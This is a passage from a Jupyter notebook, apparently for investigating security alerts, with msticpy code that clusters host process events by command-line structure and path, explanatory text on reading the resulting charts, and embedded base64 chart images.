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\n",
      "text/plain": [
       "<Figure size 864x216 with 1 Axes>"
      ]
     },
     "metadata": {
      "needs_background": "light"
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features\n",
    "\n",
    "processes_on_host = qry.list_processes(provs=[query_times, security_alert])\n",
    "\n",
    "if processes_on_host is not None and not processes_on_host.empty:\n",
    "    feature_procs = add_process_features(input_frame=processes_on_host,\n",
    "                                         path_separator=security_alert.path_separator)\n",
    "\n",
    "    # you might need to play around with the max_cluster_distance parameter.\n",
    "    # decreasing this gives more clusters.\n",
    "    (clus_events, dbcluster, x_data) = dbcluster_events(data=feature_procs,\n",
    "                                                        cluster_columns=['commandlineTokensFull', \n",
    "                                                                         'pathScore', \n",
    "                                                                         'isSystemSession'],\n",
    "                                                        max_cluster_distance=0.0001)\n",
    "    print('Number of input events:', len(feature_procs))\n",
    "    print('Number of clustered events:', len(clus_events))\n",
    "    clus_events[['ClusterSize', 'processName']][clus_events['ClusterSize'] > 1].plot.bar(x='processName', \n",
    "                                                                                         title='Process names with Cluster > 1', \n",
    "                                                                                         figsize=(12,3));\n",
    "else:\n",
    "    display(Markdown('Unable to obtain any processes for this host. This feature'\n",
    "                     ' is currently only supported for Windows hosts.'\n",
    "                     '\\n\\nIf this is a Windows host skip to [Host Logons](#host_logons)'\n",
    "                     ' later in the notebook to examine logon events.'))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Variability in Command Lines and Process Names\n",
    "The top chart shows the variability of command line content for a give process name. The wider the box, the more instances were found with different command line structure \n",
    "\n",
    "Note, the 'structure' in this case is measured by the number of tokens or delimiters in the command line and does not look at content differences. This is done so that commonly varying instances of the same command line are grouped together.<br>\n",
    "For example `updatepatch host1.mydom.com` and `updatepatch host2.mydom.com` will be grouped together.\n",
    "\n",
    "The second chart shows the variability in executable path. This does compare content so `c:\\windows\\system32\\net.exe` and `e:\\windows\\system32\\net.exe` are treated as distinct. You would normally not expect to see any variability in this chart unless you have multiple copies of the same name executable or an executable is trying masquerade as another well-known binary."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 69,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "image/png": "iVBORw0KGgoAAAANSUhEUgAAA0AAAALRCAYAAAByLsMQAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDMuMC4yLCBodHRwOi8vbWF0cGxvdGxpYi5vcmcvOIA7rQAAIABJREFUeJzs3Xl0Tdf///FnJISaqfIxVCsqYp6Fiik+hpBEEjOJqWhR/RaRIJKoqRJqHttq0RpaIjGWVhGKqJo+aqipaVJETRXRTPfe3x9Z7q+3xFDRS+/rsVbXcs89Z+/32Sd/5NW9z46dyWQyISIiIiIiYgNyWbsAERERERGRf4oCkIiIiIiI2AwFIBERERERsRkKQCIiIiIiYjMUgERERERExGYoAImIiIiIiM1QABIRERF5inr27MmAAQPu+93Vq1epUqUKO3bs+Fttjxw5knffffeRzv3yyy95/fXXs/1+7969ODs7k5aWRnx8PM7Ozpw7dw6A7t27M23aNADS09NZsWLF36r3UXz66ac0bNiQ2rVrc/bs2fuec/XqVSZMmEDLli2pUaMGbdq0YcGCBaSnpz+1up4F3t7ezJ8/H7B89n9+djlt5MiRODs7Z/vf3XoeJDY2FmdnZzIzM3O8vr/DwdoFiIiIiPybdezYkfHjx/P7779TuHBhi+82b95M4cKFcXNz+1tth4WF5USJANSrV489e/bg6Oh4z3cLFiwgd+7cAMTExDBv3jx69OiRY33flZGRwbRp03jzzTfx8fGhVKlS95yTkJBAjx49qFq1KlOnTqVUqVL8+OOPTJo0iePHjzNv3rwcr+tZ96Bn96TCwsIICgoC4OzZs/Tp04d169ZRokQJAPLnz5/jfT5tCkAiIiIiT1Hbtm2ZMGEC33zzDX5+fhbfbdq0ifbt2+Pg8Pd+JStYsGBOlAhAnjx5zL/U/l